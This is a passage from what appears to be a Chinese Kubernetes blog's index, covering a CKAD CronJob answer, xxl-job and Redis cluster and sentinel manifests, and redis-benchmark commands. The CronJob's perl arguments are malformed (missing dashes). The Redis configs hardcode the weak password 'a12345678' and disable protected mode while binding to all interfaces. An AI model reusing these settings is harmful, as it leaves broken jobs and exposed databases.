src="https://images.hao.kim/uploads/2024/12/7cadcd8c5441482ae90de50e0f8176a5003f005549f5875b1c2149e20bdf82bf.jpg" alt="CronJob-1-2"><br><img src="https://images.hao.kim/uploads/2024/12/390e5662537fb3b6821eb84328ca798619047bdaa715564f9c478185f4a4c710.jpg" alt="CronJob-1-3">  </p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim cronjob-1.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">CronJob</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">ppi</span> <span class="comment">#修改为对应的</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">schedule:</span> <span class="string">&quot;*/5 * * * *&quot;</span> <span class="comment">#根据题目要求修改</span></span><br><span class="line">  <span class="attr">successfulJobsHistoryLimit:</span> <span class="number">2</span> <span class="comment"># 成功记录次数</span></span><br><span class="line">  <span class="attr">failedJobsHistoryLimit:</span> <span class="number">4</span>     <span class="comment"># 失败记录次数</span></span><br><span class="line">  <span class="attr">jobTemplate:</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">activeDeadlineSeconds:</span> <span class="number">8</span>  <span class="comment"># pod存活时间</span></span><br><span class="line">      <span class="attr">template:</span></span><br><span class="line">        <span class="attr">spec:</span></span><br><span class="line">          <span class="attr">containers:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">pi</span>            <span class="comment"># 名称</span></span><br><span class="line">            <span class="attr">image:</span> <span class="string">perl:5</span>       <span class="comment"># 镜像</span></span><br><span class="line">            <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">            <span class="attr">command:</span> [<span class="string">&quot;perl&quot;</span>, <span class="string">&quot;Mbignum=bpi&quot;</span>, <span class="string">&quot; wle&quot;</span>, <span class="string">&quot;print bpi(2000)&quot;</span>] <span class="comment">#题目命令</span></span><br><span class="line">          <span class="attr">restartPolicy:</span> <span class="string">Never</span>  <span class="comment"># 重启策略</span></span><br></pre></td></tr></table></figure><p>创建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f cronjob-1.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get cronjobs</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/3ead3ed12d0d2aeb4facea9350badbc23419e94d413ea0320c75bef744d60197.jpg" alt="CronJob-1-4">  </p><p>手动触发 cronjob</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl create job ppi-test --from=cronjob/ppi</span><br></pre></td></tr></table></figure><p>查看这个job</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get <span class="built_in">jobs</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/1630d290e9feeafdb0fad1d7e1f04a5439c0a6c78bf9df1e975c6290f2dbc097.jpg" alt="CronJob-1-5">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>k8s部署xxl-job</title>
      <link href="/archives/kubernetes/sample/k8s-xxl-job.html"/>
      <url>/archives/kubernetes/sample/k8s-xxl-job.html</url>
      
        <content type="html"><![CDATA[<h2 id="项目-docker地址"><a href="#项目-docker地址" class="headerlink" title="项目 docker地址"></a>项目 docker地址</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">xuxueli/xxl-job-admin:2.2.0</span></span><br></pre></td></tr></table></figure><h2 id="k8s部署yaml文件"><a href="#k8s部署yaml文件" class="headerlink" title="k8s部署yaml文件"></a>k8s部署yaml文件</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">xxl-job-admin</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">1</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">xxl-job-admin</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">xxl-job-admin</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">xxl-job-admin</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">xuxueli/xxl-job-admin:2.2.0</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">Always</span>     <span class="comment"># 优先使用本地镜像</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">8080</span></span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">PARAMS</span>   <span class="comment"># 定义变量，用来接收sql的用户/密码 mysql为k8s集群内的service名称，在k8s集群内部可以直接使用service名称，因为集群默认做了coredns解析</span></span><br><span class="line">          <span class="attr">value:</span> <span class="string">&quot;--spring.datasource.url=jdbc:mysql://MySQL地址:mysql端口/xxl_job?Unicode=true&amp;characterEncoding=UTF-8&amp;useSSL=false --spring.datasource.username=MySQL用户名 --spring.datasource.password=MySQL密码&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">labels:</span></span><br><span class="line">    <span class="attr">k8s.kuboard.cn/name:</span> <span class="string">xxl-job-admin</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">xxl-job-admin</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">xxl-job</span></span><br><span class="line">      <span class="attr">port:</span> <span class="number">8080</span></span><br><span class="line">      <span class="attr">protocol:</span> <span class="string">TCP</span></span><br><span class="line">      <span class="attr">targetPort:</span> <span class="number">8080</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">xxl-job-admin</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span></span><br></pre></td></tr></table></figure><h3 id="访问方式"><a href="#访问方式" class="headerlink" title="访问方式"></a>访问方式</h3><p>java nacos中配置</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">xxl:</span></span><br><span class="line">  <span class="attr">job:</span></span><br><span class="line">    <span class="attr">admin:</span></span><br><span class="line">      <span class="attr">addresses:</span> <span class="string">http://xxl-job-admin.default.svc:8080/xxl-job-admin</span>   <span class="comment">#xxl-job服务器地址</span></span><br><span class="line">    <span class="attr">executor:</span></span><br><span class="line">      <span class="attr">appname:</span> <span class="string">shop-product</span>    <span class="comment">#注册到xxl-job服务器的应用名称</span></span><br><span class="line">      <span class="attr">port:</span> <span class="number">9990</span>    <span class="comment">#和定时任务调度中心通信的端口</span></span><br><span class="line">      <span class="attr">logpath:</span> <span class="string">/data/appLogs/jobhandler</span>   <span class="comment">#定时任务调用的日志文件</span></span><br><span class="line">      <span class="attr">logretentiondays:</span> <span class="number">30</span> <span class="comment">#日志文件保存的天数</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> sample </category>
          
      </categories>
      
      
        <tags>
            
            <tag> xxl-job </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>redis 压力测试</title>
      <link href="/archives/tools/redis-benchmark.html"/>
      <url>/archives/tools/redis-benchmark.html</url>
      
        <content type="html"><![CDATA[<h2 id="普通测试"><a href="#普通测试" class="headerlink" title="普通测试"></a>普通测试</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-benchmark -h 10.244.6.69 -p 6379 -n 1000000 -c 50 -t <span class="built_in">set</span>,get,incr -q  -a a12345678</span><br></pre></td></tr></table></figure><h2 id="使用pipe管道-批量提交测试"><a href="#使用pipe管道-批量提交测试" class="headerlink" title="使用pipe管道 批量提交测试"></a>使用pipe管道 批量提交测试</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-benchmark -h 10.244.6.69 -p 6379 -n 1000000 -c 50 -t <span class="built_in">set</span>,get,incr -q  -a a12345678 -P 10</span><br></pre></td></tr></table></figure><h2 id="测试随机key性能"><a href="#测试随机key性能" class="headerlink" title="测试随机key性能"></a>测试随机key性能</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-benchmark -h 10.244.6.69 -p 6379 -n 1000000 -c 50 -t <span class="built_in">set</span>,get,incr -q  -a a12345678 -r 10</span><br></pre></td></tr></table></figure><p>-n : 总请求数 -c : 线程数 -t : 请求类型 -q : 安静模式 -a : 密码 -P : 多少个请求一组</p>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> redis-benchmark </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>k8s部署redis集群3主3从</title>
      <link href="/archives/kubernetes/sample/k8s-redis-cluster.html"/>
      <url>/archives/kubernetes/sample/k8s-redis-cluster.html</url>
      
        <content type="html"><![CDATA[<p>下面的yaml文件使用redis7构建一个3主3从的redis集群,使用openebs存储类做持久化, 2个步骤:</p><ol><li>部署yaml, 创建出6副本有状态副本</li><li>初始化redis集群</li></ol><h2 id="部署yaml文件"><a href="#部署yaml文件" class="headerlink" title="部署yaml文件"></a>部署yaml文件</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f redis-cluster.yaml</span><br></pre></td></tr></table></figure><p>redis-cluster.yaml内容</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Namespace</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">redis-cluster</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ConfigMap</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">annotations:</span> &#123;&#125;</span><br><span class="line">  <span class="attr">name:</span> <span class="string">redis-cluster</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">redis-cluster</span></span><br><span class="line"><span class="attr">data:</span></span><br><span class="line">  <span class="attr">fix-ip.sh:</span> <span class="string">|</span></span><br><span class="line"><span class="string">    #!/bin/sh</span></span><br><span class="line"><span class="string">    CLUSTER_CONFIG=&quot;/data/nodes.conf&quot;</span></span><br><span class="line"><span class="string">    if [ -f $&#123;CLUSTER_CONFIG&#125; ]; then</span></span><br><span class="line"><span class="string">      if [ -z &quot;$&#123;POD_IP&#125;&quot; ]; then</span></span><br><span class="line"><span class="string">        echo &quot;Unable to determine Pod IP address!&quot;</span></span><br><span class="line"><span class="string">        exit 1</span></span><br><span class="line"><span class="string">      fi</span></span><br><span class="line"><span class="string">      echo &quot;Updating my IP to $&#123;POD_IP&#125; in $&#123;CLUSTER_CONFIG&#125;&quot;</span></span><br><span class="line"><span class="string">      sed -i.bak -e &#x27;/myself/ s/[0-9]\&#123;1,3\&#125;\.[0-9]\&#123;1,3\&#125;\.[0-9]\&#123;1,3\&#125;\.[0-9]\&#123;1,3\&#125;/&#x27;$&#123;POD_IP&#125;&#x27;/&#x27; $&#123;CLUSTER_CONFIG&#125;</span></span><br><span class="line"><span class="string">    fi</span></span><br><span class="line"><span class="string">    exec &quot;$@&quot;</span></span><br><span class="line"><span class="string"></span>  <span class="attr">redis.conf:</span> <span class="string">|</span></span><br><span class="line"><span class="string">    cluster-enabled yes</span></span><br><span class="line"><span class="string">    cluster-config-file /data/nodes.conf</span></span><br><span class="line"><span class="string">    cluster-node-timeout 10000</span></span><br><span class="line"><span class="string">    protected-mode no</span></span><br><span class="line"><span class="string">    daemonize no</span></span><br><span class="line"><span class="string">    pidfile /var/run/redis.pid</span></span><br><span class="line"><span class="string">    port 6379</span></span><br><span class="line"><span class="string">    tcp-backlog 511</span></span><br><span class="line"><span class="string">    bind 0.0.0.0</span></span><br><span class="line"><span class="string">    timeout 3600</span></span><br><span class="line"><span class="string">    tcp-keepalive 1</span></span><br><span class="line"><span class="string">    loglevel verbose</span></span><br><span class="line"><span class="string">    #logfile /data/redis.log</span></span><br><span class="line"><span class="string">    databases 16</span></span><br><span class="line"><span class="string">    save 900 1</span></span><br><span class="line"><span class="string">    save 300 10</span></span><br><span class="line"><span class="string">    save 60 10000</span></span><br><span class="line"><span class="string">    stop-writes-on-bgsave-error yes</span></span><br><span class="line"><span class="string">    rdbcompression yes</span></span><br><span class="line"><span class="string">    rdbchecksum yes</span></span><br><span class="line"><span class="string">    dbfilename dump.rdb</span></span><br><span class="line"><span class="string">    dir /data</span></span><br><span class="line"><span class="string">    requirepass a12345678</span></span><br><span class="line"><span class="string">    appendonly yes</span></span><br><span class="line"><span class="string">    appendfilename &quot;appendonly.aof&quot;</span></span><br><span class="line"><span class="string">    appendfsync everysec</span></span><br><span class="line"><span class="string">    no-appendfsync-on-rewrite no</span></span><br><span class="line"><span class="string">    auto-aof-rewrite-percentage 100</span></span><br><span class="line"><span class="string">    auto-aof-rewrite-min-size 64mb</span></span><br><span class="line"><span class="string">    lua-time-limit 20000</span></span><br><span class="line"><span class="string">    slowlog-log-slower-than 10000</span></span><br><span class="line"><span class="string">    slowlog-max-len 128</span></span><br><span class="line"><span class="string">    #rename-command FLUSHALL  &quot;&quot;</span></span><br><span class="line"><span class="string">    latency-monitor-threshold 0</span></span><br><span class="line"><span class="string">    notify-keyspace-events &quot;&quot;</span></span><br><span class="line"><span class="string">    hash-max-ziplist-entries 512</span></span><br><span class="line"><span class="string">    hash-max-ziplist-value 64</span></span><br><span class="line"><span class="string">    list-max-ziplist-entries 512</span></span><br><span class="line"><span class="string">    list-max-ziplist-value 64</span></span><br><span class="line"><span class="string">    set-max-intset-entries 512</span></span><br><span class="line"><span class="string">    zset-max-ziplist-entries 128</span></span><br><span class="line"><span class="string">    zset-max-ziplist-value 64</span></span><br><span class="line"><span class="string">    hll-sparse-max-bytes 3000</span></span><br><span class="line"><span class="string">    activerehashing yes</span></span><br><span class="line"><span class="string">    client-output-buffer-limit normal 0 0 0</span></span><br><span class="line"><span class="string">    client-output-buffer-limit slave 256mb 64mb 60</span></span><br><span class="line"><span class="string">    client-output-buffer-limit pubsub 32mb 8mb 60</span></span><br><span class="line"><span class="string">    hz 10</span></span><br><span class="line"><span class="string">    aof-rewrite-incremental-fsync yes</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">redis-cluster</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">redis-cluster</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">clusterIP:</span> <span class="string">None</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">6379</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">client</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">port:</span> <span class="number">16379</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">16379</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">gossip</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">redis-cluster</span></span><br><span class="line">    <span class="attr">data:</span> <span class="string">redis</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">StatefulSet</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">redis-cluster</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">redis-cluster</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">serviceName:</span> <span class="string">redis-cluster</span></span><br><span class="line">  <span class="attr">replicas:</span> <span class="number">6</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">redis-cluster</span></span><br><span class="line">      <span class="attr">data:</span> <span class="string">redis</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">redis-cluster</span></span><br><span class="line">        <span class="attr">data:</span> <span class="string">redis</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">redis</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">redis:7.0-alpine</span></span><br><span class="line">        <span class="attr">ports:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">6379</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">client</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">containerPort:</span> <span class="number">16379</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">gossip</span></span><br><span class="line">        <span class="attr">command:</span> [<span class="string">&quot;/etc/redis/fix-ip.sh&quot;</span>, <span class="string">&quot;redis-server&quot;</span>, <span class="string">&quot;/etc/redis/redis.conf&quot;</span>]</span><br><span class="line">        <span class="attr">env:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">POD_IP</span></span><br><span class="line">          <span class="attr">valueFrom:</span></span><br><span class="line">            <span class="attr">fieldRef:</span></span><br><span class="line">              <span class="attr">fieldPath:</span> <span class="string">status.podIP</span></span><br><span class="line">        <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">conf</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/etc/redis/</span></span><br><span class="line">          <span class="attr">readOnly:</span> <span class="literal">false</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">redis-pv-claim</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/data</span></span><br><span class="line">          <span class="attr">readOnly:</span> <span class="literal">false</span></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">conf</span></span><br><span class="line">        <span class="attr">configMap:</span></span><br><span class="line">          <span class="attr">name:</span> <span class="string">redis-cluster</span></span><br><span class="line">          <span class="attr">defaultMode:</span> <span class="number">0755</span></span><br><span class="line">  <span class="attr">volumeClaimTemplates:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">redis-pv-claim</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">accessModes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">ReadWriteOnce</span></span><br><span class="line">      <span class="attr">resources:</span></span><br><span class="line">        <span class="attr">requests:</span></span><br><span class="line">          <span class="attr">storage:</span> <span class="string">10Gi</span></span><br><span class="line">      <span class="attr">storageClassName:</span> <span class="string">openebs-hostpath</span> <span class="comment">#改成自己的存储类</span></span><br></pre></td></tr></table></figure><h3 id="创建redis集群"><a href="#创建redis集群" class="headerlink" title="创建redis集群"></a>创建redis集群</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#获取redis pod的IP</span></span><br><span class="line">kubectl -n redis-cluster get pods -l data=redis -o jsonpath=<span class="string">&#x27;&#123;range.items[*]&#125;&#123;.status.podIP&#125;:6379 &#x27;</span></span><br><span class="line"><span class="comment">#初始化redis集群</span></span><br><span class="line">kubectl -n redis-cluster <span class="built_in">exec</span> -it redis-cluster-0 -- redis-cli --cluster create --cluster-replicas 1 -a a12345678 \</span><br><span class="line">   10.244.7.5:6379 10.244.6.5:6379 10.244.10.6:6379 10.244.9.7:6379 10.244.8.8:6379 10.244.5.54:6379</span><br><span class="line">   <span class="comment">#上面获取的IP:端口</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> sample </category>
          
      </categories>
      
      
        <tags>
            
            <tag> redis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>k8s 部署redis哨兵1主2从</title>
      <link href="/archives/kubernetes/sample/k8s-redis-sentinel.html"/>
      <url>/archives/kubernetes/sample/k8s-redis-sentinel.html</url>
      
        <content type="html"><![CDATA[<p>一开始打算把启动脚本和配置文件放入configmap,直接使用一个yaml文件进行部署,但是实际操作中遇到个问题, 后续解决了,再使用单一yaml文件部署, 这里使用自定义镜像方式,来进行部署,以下是部署流程</p><ol><li>制作redis镜像<blockquote><p>也可以直接使用构建好的,”k9scc&#x2F;base-env:redis-7-sentinel”</p></blockquote></li><li>使用yaml文件,创建redis</li></ol><h2 id="制作redis镜像"><a href="#制作redis镜像" class="headerlink" title="制作redis镜像"></a>制作redis镜像</h2><h3 id="Dockerfile"><a href="#Dockerfile" class="headerlink" title="Dockerfile"></a>Dockerfile</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">FROM</span> <span class="string">redis:7</span></span><br><span class="line"><span class="string">MAINTAINER</span> <span class="string">&quot;You&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="string">COPY</span> <span class="string">*.conf</span> <span class="string">/opt/conf/</span></span><br><span class="line"><span class="string">COPY</span> <span class="string">run.sh</span> <span class="string">/opt/run.sh</span></span><br><span class="line"><span class="string">RUN</span> <span class="string">apt</span> <span class="string">update</span> <span class="string">-y;apt-get</span> <span class="string">install</span> <span class="string">vim</span> <span class="string">net-tools</span> <span class="string">-y;apt-get</span> <span class="string">clean</span> <span class="string">&amp;&amp;</span> <span class="string">\</span></span><br><span class="line">    <span class="string">chmod</span> <span class="string">+x</span> <span class="string">/opt/run.sh</span></span><br><span class="line"></span><br><span class="line"><span class="string">CMD</span> <span class="string">/opt/run.sh</span></span><br></pre></td></tr></table></figure><h3 id="run-sh"><a href="#run-sh" class="headerlink" title="run.sh"></a>run.sh</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line">pod_seq=$(<span class="built_in">echo</span> <span class="variable">$POD_NAME</span> | awk -F<span class="string">&quot;-&quot;</span> <span class="string">&#x27;&#123;print $2&#125;&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> [[ <span class="variable">$&#123;pod_seq&#125;</span> -ne 0 ]];<span class="keyword">then</span>    <span class="comment">#为从机</span></span><br><span class="line">    sed -i <span class="string">&#x27;/^slaveof /d&#x27;</span> /opt/conf/redis.conf</span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;slaveof redis-0.redis.redis-cluster.svc.cluster.local 6379&quot;</span> &gt;&gt; /opt/conf/redis.conf   <span class="comment">#redis-0.redis代表第一个redis的访问地址</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line">/usr/local/bin/redis-server /opt/conf/redis.conf</span><br><span class="line"><span class="built_in">sleep</span> 15    <span class="comment">#如果redis-0没起来,它里面的哨兵也起不来，等待一段时间再启动哨兵</span></span><br><span class="line">/usr/local/bin/redis-sentinel /opt/conf/sentinel.conf</span><br></pre></td></tr></table></figure><h3 id="redis-conf"><a href="#redis-conf" class="headerlink" title="redis.conf"></a>redis.conf</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#绑定到哪台机器，0.0.0.0表示允许所有主机访问</span></span><br><span class="line"><span class="string">bind</span> <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span></span><br><span class="line"><span class="comment">#redis3.2版本之后加入的特性，yes开启后，如果没有配置bind则默认只允许127.0.0.1访问</span></span><br><span class="line"><span class="string">protected-mode</span> <span class="literal">yes</span></span><br><span class="line"><span class="comment">#对外暴露的访问端口</span></span><br><span class="line"><span class="string">port</span> <span class="number">6379</span></span><br><span class="line"><span class="comment">#登录密码</span></span><br><span class="line"><span class="string">requirepass</span> <span class="string">a12345678</span></span><br><span class="line"><span class="comment">#主从同步认证密码</span></span><br><span class="line"><span class="string">masterauth</span> <span class="string">a12345678</span></span><br><span class="line"><span class="comment">#三次握手的时候server端接收到客户端 ack确认号之后的队列值</span></span><br><span class="line"><span class="string">tcp-backlog</span> <span class="number">511</span></span><br><span class="line"><span class="comment">#服务端与客户端连接超时时间，0表示永不超时</span></span><br><span class="line"><span class="string">timeout</span> <span class="number">0</span></span><br><span class="line"><span class="comment">#连接redis的时候的密码 hello</span></span><br><span class="line"><span class="comment">#requirepass hello</span></span><br><span class="line"><span class="comment">#tcp 保持会话时间是300s</span></span><br><span class="line"><span class="string">tcp-keepalive</span> <span class="number">300</span></span><br><span class="line"><span class="comment">#redis是否以守护进程运行，如果是，会生成pid</span></span><br><span class="line"><span class="string">daemonize</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">supervised</span> <span class="literal">no</span></span><br><span class="line"><span class="comment">#pid文件路径</span></span><br><span class="line"><span class="string">pidfile</span> <span class="string">/var/run/redis_6379.pid</span></span><br><span class="line"><span class="comment">#日志级别</span></span><br><span class="line"><span class="string">loglevel</span> <span class="string">notice</span></span><br><span class="line"><span class="comment">#logfile /var/log/redis.log</span></span><br><span class="line"><span class="comment">#默认redis有几个db库</span></span><br><span class="line"><span class="string">databases</span> <span class="number">16</span></span><br><span class="line"><span class="comment">#每间隔900秒，如果一个键值发生变化就触发快照机制</span></span><br><span class="line"><span class="string">save</span> <span class="number">900</span> <span class="number">1</span></span><br><span class="line"><span class="string">save</span> <span class="number">300</span> <span class="number">10</span></span><br><span class="line"><span class="string">save</span> <span class="number">60</span> <span class="number">10000</span></span><br><span class="line"><span class="comment">#快照出错时，是否禁止redis写入</span></span><br><span class="line"><span class="string">stop-writes-on-bgsave-error</span> <span class="literal">no</span></span><br><span class="line"><span class="comment">#持久化到rdb文件时，是否压缩文件</span></span><br><span class="line"><span class="string">rdbcompression</span> <span class="literal">yes</span></span><br><span class="line"><span class="comment">#持久化到rdb文件是，是否RC64开启验证</span></span><br><span class="line"><span class="string">rdbchecksum</span> <span class="literal">no</span></span><br><span class="line"><span class="comment">#持久化输出的时候，rdb文件命名</span></span><br><span class="line"><span class="string">dbfilename</span> <span class="string">dump.rdb</span></span><br><span class="line"><span class="string">dir</span> <span class="string">/data</span></span><br><span class="line"><span class="comment">#持久化文件路径</span></span><br><span class="line"><span class="string">slave-serve-stale-data</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">slave-read-only</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">repl-diskless-sync</span> <span class="literal">no</span></span><br><span class="line"><span class="string">repl-diskless-sync-delay</span> <span class="number">5</span></span><br><span class="line"><span class="string">repl-disable-tcp-nodelay</span> <span class="literal">no</span></span><br><span class="line"><span class="string">slave-priority</span> <span class="number">100</span></span><br><span class="line"><span class="comment">#是否开启aof备份</span></span><br><span class="line"><span class="string">appendonly</span> <span class="literal">yes</span></span><br><span class="line"><span class="comment">#aof备份文件名称</span></span><br><span class="line"><span class="string">appendfilename</span> <span class="string">&quot;appendonly.aof&quot;</span></span><br><span class="line"><span class="string">appendfsync</span> <span class="string">everysec</span></span><br><span class="line"><span class="literal">no</span><span class="string">-appendfsync-on-rewrite</span> <span class="literal">no</span></span><br><span class="line"><span class="string">auto-aof-rewrite-percentage</span> <span class="number">100</span></span><br><span class="line"><span class="string">auto-aof-rewrite-min-size</span> <span class="string">64mb</span></span><br><span class="line"><span class="string">aof-load-truncated</span> <span class="literal">yes</span></span><br><span class="line"><span class="string">lua-time-limit</span> <span class="number">5000</span></span><br><span class="line"><span class="string">slowlog-log-slower-than</span> <span class="number">10000</span></span><br><span class="line"><span class="string">slowlog-max-len</span> <span class="number">128</span></span><br><span class="line"><span class="string">latency-monitor-threshold</span> <span class="number">0</span></span><br><span class="line"><span class="string">notify-keyspace-events</span> <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="string">hash-max-ziplist-entries</span> <span class="number">512</span></span><br><span class="line"><span 